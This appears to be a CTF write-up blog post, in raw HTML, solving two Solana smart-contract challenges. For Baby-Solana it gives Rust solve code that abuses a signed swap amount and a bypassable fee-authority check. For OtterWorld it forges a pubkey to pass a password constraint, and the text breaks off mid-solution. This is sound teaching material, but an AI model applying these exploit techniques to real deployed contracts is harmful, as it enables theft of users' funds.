&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;763&quot; data-origin-height=&quot;424&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/UzGnD/btrYkEYYRbz/yGDBlXSZzqVUPIQCtjA4qK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/UzGnD/btrYkEYYRbz/yGDBlXSZzqVUPIQCtjA4qK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/UzGnD/btrYkEYYRbz/yGDBlXSZzqVUPIQCtjA4qK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FUzGnD%2FbtrYkEYYRbz%2FyGDBlXSZzqVUPIQCtjA4qK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;763&quot; height=&quot;424&quot; data-origin-width=&quot;763&quot; data-origin-height=&quot;424&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;For example, &lt;code&gt;socat tcp-listen:8080,fork,reuseaddr openssl:babyheapng-e20d62127bb9434b.tjc.tf:1337&lt;/code&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;How I test in local environment?&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;background-color: #f6e199;&quot;&gt;/framework/Dockerfile&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;background-color: #f6e199;&quot;&gt;/run.sh&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;background-color: #f6e199;&quot;&gt;/setup.sh&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Building takes quite a bit of time.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style5&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;Baby-Solana&lt;/h2&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;Analysis&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;When looking at the &lt;span style=&quot;background-color: #f6e199;&quot;&gt;/framework/src/main.rs&lt;/span&gt; without paying attention to the code necessary for setting up the environment&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;The variable 'x' is initialized to 1_000_000 and 'y' to 1_000_001&lt;/p&gt;
&lt;pre id=&quot;code_1675708540847&quot; class=&quot;rs rust&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;    let ix = chall::instruction::InitVirtualBalance {
        x: 1_000_000,
        y: 1_000_001,
    };&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;And, user's inputs are executed.&lt;/p&gt;
&lt;pre id=&quot;code_1675708670428&quot; class=&quot;rs rust&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;    writeln!(socket, &quot;user: {}&quot;, user)?;

    let solve_ix = chall.read_instruction(solve_id)?;
    println!(&quot;{:?}&quot;, solve_ix);

    println!(&quot;start&quot;);
    chall
        .run_ixs_full(&amp;amp;[solve_ix], &amp;amp;[&amp;amp;user_keypair], &amp;amp;user_keypair.pubkey())
        .await?;
    println!(&quot;end&quot;);&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Finally, if x == 0 and y == 0, then print flag!&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1675708763876&quot; class=&quot;rs rust&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;    let flag = Pubkey::find_program_address(&amp;amp;[FLAG_SEED], &amp;amp;chall_id).0;

    if let Some(acct) = chall.ctx.banks_client.get_account(flag).await? {
        let state = bytemuck::from_bytes::&amp;lt;chall::State&amp;gt;(
            &amp;amp;acct.data[8..std::mem::size_of::&amp;lt;chall::State&amp;gt;() + 8],
        );
        if state.x == 0 &amp;amp;&amp;amp; state.y == 0 {
            writeln!(socket, &quot;congrats!&quot;)?;
            if let Ok(flag) = env::var(&quot;FLAG&quot;) {
                writeln!(socket, &quot;flag: {:?}&quot;, flag)?;
            } else {
                writeln!(socket, &quot;flag not found, please contact admin&quot;)?;
            }
        }
    }&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;To find operations with variable x and y, I looked at &lt;span style=&quot;background-color: #f6e199;&quot;&gt;/framework/chall/programs/chall/src/lib.rs&lt;/span&gt;.&lt;/p&gt;
&lt;pre id=&quot;code_1675709088871&quot; class=&quot;rs rust&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;    pub fn swap(ctx: Context&amp;lt;Swap&amp;gt;, amt: NUMBER) -&amp;gt; Result&amp;lt;()&amp;gt; {
        let state = &amp;amp;mut ctx.accounts.state.load_mut()?;

        state.x += amt;
        state.y += amt;

        state.x += state.fee * state.x / 100;
        state.y += state.fee * state.y / 100;

        Ok(())
    }&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;It seems we can set the state to 0 by putting a negative value into amt, since amt is declared as NUMBER(i64) type.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;1. swap(-1_000_000) =&amp;gt; x=0, y=1&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;2. set state.fee = -100&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;3. swap(0) =&amp;gt; x=0, y=0&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;The ability to modify the value of state.fee can be solution.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style3&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;background-color: #f6e199;&quot;&gt;/framework/chall/programs/chall/src/lib.rs&lt;/span&gt;&lt;/p&gt;
&lt;pre id=&quot;code_1675709526608&quot; class=&quot;rs rust&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;    pub fn set_fee(ctx: Context&amp;lt;AuthFee&amp;gt;, fee: NUMBER) -&amp;gt; Result&amp;lt;()&amp;gt; {
        let state = &amp;amp;mut ctx.accounts.state.load_mut()?;

        state.fee = fee;

        Ok(())
    }
    
...
    
#[derive(Accounts)]
pub struct AuthFee&amp;lt;'info&amp;gt; {
    #[account(mut,
        constraint = (state.load().unwrap().owner.is_some() &amp;amp;&amp;amp; 
            state.load().unwrap().owner.unwrap() == payer.key()
        ) || 
        (state.load().unwrap().fee_manager.is_some() &amp;amp;&amp;amp; (
            state.load().unwrap().fee_manager.unwrap().timestamp &amp;lt; Clock::get()?.unix_timestamp &amp;amp;&amp;amp; 
            (
                state.load().unwrap().fee_manager.unwrap().authority.is_none() || 
                state.load().unwrap().fee_manager.unwrap().authority.unwrap() == payer.key()
            )
        ))
    )]
    pub state: AccountLoader&amp;lt;'info, State&amp;gt;,
    #[account(mut)]
    pub payer: Signer&amp;lt;'info&amp;gt;,
    pub system_program: Program&amp;lt;'info, System&amp;gt;,
    pub rent: Sysvar&amp;lt;'info, Rent&amp;gt;,
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;In order to call set_fee(), we need to pass the constraint in struct AuthFee.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Our account can bypass second conditon.&lt;/p&gt;
&lt;pre id=&quot;code_1675709783618&quot; class=&quot;rs rust&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;        (state.load().unwrap().fee_manager.is_some() &amp;amp;&amp;amp; (
            state.load().unwrap().fee_manager.unwrap().timestamp &amp;lt; Clock::get()?.unix_timestamp &amp;amp;&amp;amp; 
            (
                state.load().unwrap().fee_manager.unwrap().authority.is_none() || 
                state.load().unwrap().fee_manager.unwrap().authority.unwrap() == payer.key()
            )
        ))&lt;/code&gt;&lt;/pre&gt;
&lt;div&gt;&amp;nbsp;&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style1&quot; /&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;Solution&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Add the following code to &lt;span style=&quot;background-color: #f6e199;&quot;&gt;/framework-solve/chall/programs/chall/src/lib.rs&lt;/span&gt;&lt;/p&gt;
&lt;pre id=&quot;code_1675709835914&quot; class=&quot;rs rust&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;    pub fn get_flag(_ctx: Context&amp;lt;GetFlag&amp;gt;) -&amp;gt; Result&amp;lt;()&amp;gt; {
        let cpi_accounts = chall::cpi::accounts::Swap {
            state: _ctx.accounts.state.to_account_info(),
            payer: _ctx.accounts.payer.to_account_info(),
            system_program: _ctx.accounts.system_program.to_account_info(),
            rent: _ctx.accounts.rent.to_account_info(),
        };
        let cpi_ctx = CpiContext::new(_ctx.accounts.chall.to_account_info(), cpi_accounts);
        chall::cpi::swap(cpi_ctx, -1_000_000)?;

        let cpi_accounts5 = chall::cpi::accounts::AuthFee {
            state: _ctx.accounts.state.to_account_info(),
            payer: _ctx.accounts.payer.to_account_info(),
            system_program: _ctx.accounts.system_program.to_account_info(),
            rent: _ctx.accounts.rent.to_account_info(),
        };
        let cpi_ctx5 = CpiContext::new(_ctx.accounts.chall.to_account_info(), cpi_accounts5);
        chall::cpi::set_fee(cpi_ctx5, -100)?;

        let cpi_accounts6 = chall::cpi::accounts::Swap {
            state: _ctx.accounts.state.to_account_info(),
            payer: _ctx.accounts.payer.to_account_info(),
            system_program: _ctx.accounts.system_program.to_account_info(),
            rent: _ctx.accounts.rent.to_account_info(),
        };
        let cpi_ctx6 = CpiContext::new(_ctx.accounts.chall.to_account_info(), cpi_accounts6);
        chall::cpi::swap(cpi_ctx6, 0)?;

        Ok(())
    }&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;And get Intancer&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;231&quot; data-origin-height=&quot;165&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cg7T6j/btrYmtWWLed/e0PpykuVHFbqz2emzW2UKK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cg7T6j/btrYmtWWLed/e0PpykuVHFbqz2emzW2UKK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cg7T6j/btrYmtWWLed/e0PpykuVHFbqz2emzW2UKK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fcg7T6j%2FbtrYmtWWLed%2Fe0PpykuVHFbqz2emzW2UKK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;231&quot; height=&quot;165&quot; data-origin-width=&quot;231&quot; data-origin-height=&quot;165&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;background-color: #e6f5ff;&quot;&gt;e.g. socat tcp-listen:8080,fork,reuseaddr openssl:babyheapng-e20d62127bb9434b.tjc.tf:1337&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Run &lt;span style=&quot;background-color: #f6e199;&quot;&gt;run.sh&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;i&gt;dice{z3r0_c0py_h3r0_c0py_cPDsolK8}&lt;/i&gt;&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style5&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;OtterWorld&lt;/h2&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;Analysis&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span&gt;When looking at the&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;background-color: #f6e199;&quot;&gt;/framework/src/main.rs&lt;/span&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;without paying attention to the code necessary for setting up the environment&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span&gt;First, user's inputs are executed.&lt;/span&gt;&lt;/p&gt;
&lt;pre id=&quot;code_1675743091022&quot; class=&quot;rs rust&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;    let solve_ix = chall.read_instruction(solve_id)?;
    println!(&quot;{:?}&quot;, solve_ix);

    println!(&quot;start&quot;);
    chall
        .run_ixs_full(
            &amp;amp;[solve_ix],
            &amp;amp;[&amp;amp;user_keypair],
            &amp;amp;user_keypair.pubkey(),
        )
        .await?;
    println!(&quot;end&quot;);&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;And, if the account exists, it will print the flag.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;That means I should create my account.&lt;/p&gt;
&lt;pre id=&quot;code_1675743109721&quot; class=&quot;rs rust&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;    let flag = Pubkey::find_program_address(&amp;amp;[FLAG_SEED], &amp;amp;chall_id).0;

    if let Some(_) = chall.ctx.banks_client.get_account(flag).await? {
        writeln!(socket, &quot;congrats!&quot;)?;
        if let Ok(flag) = env::var(&quot;FLAG&quot;) {
            writeln!(socket, &quot;flag: {:?}&quot;, flag)?;
        } else {
            writeln!(socket, &quot;flag not found, please contact admin&quot;)?;
        }
    }&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;background-color: #f6e199;&quot;&gt;/framework/chall/programs/chall/src/lib.rs&lt;/span&gt;&lt;/p&gt;
&lt;pre id=&quot;code_1675743244427&quot; class=&quot;rs rust&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;#[derive(Accounts)]
pub struct GetFlag&amp;lt;'info&amp;gt; {
    #[account(
        init,
        seeds = [ FLAG_SEED ],
        bump,
        payer = payer,
        space = 1000
    )]
    pub flag: Account&amp;lt;'info, Flag&amp;gt;,

    #[account(
        constraint = password.key().as_ref()[..4] == b&quot;osec&quot;[..]
    )]
    pub password: AccountInfo&amp;lt;'info&amp;gt;,

    #[account(mut)]
    pub payer: Signer&amp;lt;'info&amp;gt;,
    pub system_program: Program&amp;lt;'info, System&amp;gt;,
    pub rent: Sysvar&amp;lt;'info, Rent&amp;gt;,
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;To create an account, a password is required that starts with &lt;b&gt;b&quot;osec&quot;&lt;/b&gt;.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style1&quot; /&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;Solution&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Initially,&amp;nbsp;I&amp;nbsp;thought&amp;nbsp;I&amp;nbsp;had&amp;nbsp;to&amp;nbsp;find&amp;nbsp;the&amp;nbsp;private&amp;nbsp;key&amp;nbsp;that&amp;nbsp;could&amp;nbsp;generate&amp;nbsp;a&amp;nbsp;pubkey&amp;nbsp;that&amp;nbsp;satisfies&amp;nbsp;the&amp;nbsp;condition.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;472&quot; data-origin-height=&quot;620&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/VRZIr/btrYkLdiLEa/Wh4xPMwdu21sZB2TGVzt3K/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/VRZIr/btrYkLdiLEa/Wh4xPMwdu21sZB2TGVzt3K/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/VRZIr/btrYkLdiLEa/Wh4xPMwdu21sZB2TGVzt3K/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FVRZIr%2FbtrYkLdiLEa%2FWh4xPMwdu21sZB2TGVzt3K%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;472&quot; height=&quot;620&quot; data-origin-width=&quot;472&quot; data-origin-height=&quot;620&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;However,&amp;nbsp;this&amp;nbsp;is&amp;nbsp;not&amp;nbsp;a&amp;nbsp;feasible&amp;nbsp;solution&amp;nbsp;when&amp;nbsp;considering&amp;nbsp;time&amp;nbsp;complexity.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style3&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;The&amp;nbsp;next&amp;nbsp;thought&amp;nbsp;was&amp;nbsp;the&amp;nbsp;program&amp;nbsp;ID.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;background-color: #f6e199;&quot;&gt;/framework/chall/programs/chall/src/lib.rs&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;background-color: #f6e199;&quot;&gt;/framework-solve/chall/programs/chall/src/lib.rs&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Look at the top of code&lt;/p&gt;
&lt;pre id=&quot;code_1675743782002&quot; class=&quot;rs rust&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;declare_id!(&quot;osecio1111111111111111111111111111111111111&quot;);&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;It is a pubkey of chall id.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Therefore, I&amp;nbsp;thought&amp;nbsp;that&amp;nbsp;if&amp;nbsp;I&amp;nbsp;just&amp;nbsp;passed&amp;nbsp;the&amp;nbsp;pubkey&amp;nbsp;as&amp;nbsp;the&amp;nbsp;password,&amp;nbsp;it&amp;nbsp;would&amp;nbsp;be&amp;nbsp;over.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;background-color: #f6e199;&quot;&gt;/framework-solve/chall/programs/chall/src/lib.rs&lt;/span&gt;&lt;/p&gt;
&lt;pre id=&quot;code_1675743919232&quot; class=&quot;rs rust&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;    pub fn get_flag(_ctx: Context&amp;lt;GetFlag&amp;gt;) -&amp;gt; Result&amp;lt;()&amp;gt; {        
        let cpi_accounts = chall::cpi::accounts::GetFlag {
            flag: _ctx.accounts.state.to_account_info(),
            password: _ctx.accounts.chall.to_account_info(),
            payer: _ctx.accounts.payer.to_account_info(),
            system_program: _ctx.accounts.system_program.to_account_info(),
            rent: _ctx.accounts.rent.to_account_info(),
        };
       
        let cpi_ctx = CpiContext::new(_ctx.accounts.chall.to_account_info(), cpi_accounts);
        chall::cpi::get_flag(cpi_ctx)?;
        Ok(())
    }&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;But, it was wrong.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;In fact, pubkey string is not byte string but output of base58 encoding.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;So &quot;osecio1111111111111111111111111111111111111&quot;[:4] can not pass b&quot;osec&quot;&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style3&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Finally, I thought that if I just input Pubkey I wanted and pass it as the password, it would be the end.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;I learned how to generate a public key through a Google.&lt;/p&gt;
&lt;pre id=&quot;code_1675744208590&quot; class=&quot;rs rust&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;let key = Pubkey::new(&amp;amp;[111,115,101,99,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0]);
// key = b&quot;osec&quot;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;But I didn't know how to convert this &lt;b&gt;Pubkey&lt;/b&gt; into an &lt;b&gt;AccountInfo&lt;/b&gt;.&lt;/p&gt;
&lt;pre id=&quot;code_1675744341358&quot; class=&quot;rs rust&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;pub password: AccountInfo&amp;lt;'info&amp;gt;,&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;While&amp;nbsp;I&amp;nbsp;was&amp;nbsp;pondering...&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;I&amp;nbsp;found&amp;nbsp;a&amp;nbsp;similar&amp;nbsp;case&amp;nbsp;of &lt;b&gt;???? &lt;/b&gt;&lt;span&gt;into an&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;b&gt;AccountInfo &lt;/b&gt;type conversion in &lt;span style=&quot;background-color: #f6e199;&quot;&gt;/framework-solve/src/main.rs&lt;/span&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;.&lt;/p&gt;
&lt;pre id=&quot;code_1675744636133&quot; class=&quot;rs rust&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;    let mut ix_accounts = solve::accounts::GetFlag {
        state,
        payer: user,
        token_program: spl_token::ID,
        chall: chall_id,
        system_program: solana_program::system_program::ID,
        rent: solana_program::sysvar::rent::ID,
    };&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;So&amp;nbsp;I&amp;nbsp;decided&amp;nbsp;to&amp;nbsp;experiment&amp;nbsp;with&amp;nbsp;it.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;I added &lt;b&gt;test&lt;/b&gt; which has type of &lt;b&gt;AccountInfo&lt;/b&gt; to &lt;span style=&quot;background-color: #f6e199;&quot;&gt;/framework-solve/chall/programs/chall/src/lib.rs&lt;/span&gt;&lt;/p&gt;
&lt;pre id=&quot;code_1675744781200&quot; class=&quot;rs rust&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;#[derive(Accounts)]
pub struct GetFlag&amp;lt;'info&amp;gt; {
    #[account(mut)]
    pub state: AccountInfo&amp;lt;'info&amp;gt;,
    #[account(mut)]
    pub payer: Signer&amp;lt;'info&amp;gt;,

    pub system_program: Program&amp;lt;'info, System&amp;gt;,
    pub token_program: Program&amp;lt;'info, Token&amp;gt;,
    pub rent: Sysvar&amp;lt;'info, Rent&amp;gt;,
    pub chall: Program&amp;lt;'info, chall::program::Chall&amp;gt;,

    #[account(mut)]
    pub test: AccountInfo&amp;lt;'info&amp;gt;, // added
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;I created Pubkey and assign it.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;background-color: #f6e199;&quot;&gt;/framework-solve/src/main.rs&lt;/span&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;pre id=&quot;code_1675744952218&quot; class=&quot;rs rust&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;    let test = Pubkey::new(&amp;amp;[111,115,101,99,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0]); 
    //added

    let mut ix_accounts = solve::accounts::GetFlag {
        state,
        payer: user,
        token_program: spl_token::ID,
        chall: chall_id,
        system_program: solana_program::system_program::ID,
        rent: solana_program::sysvar::rent::ID,
        test: test, // added
    };&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
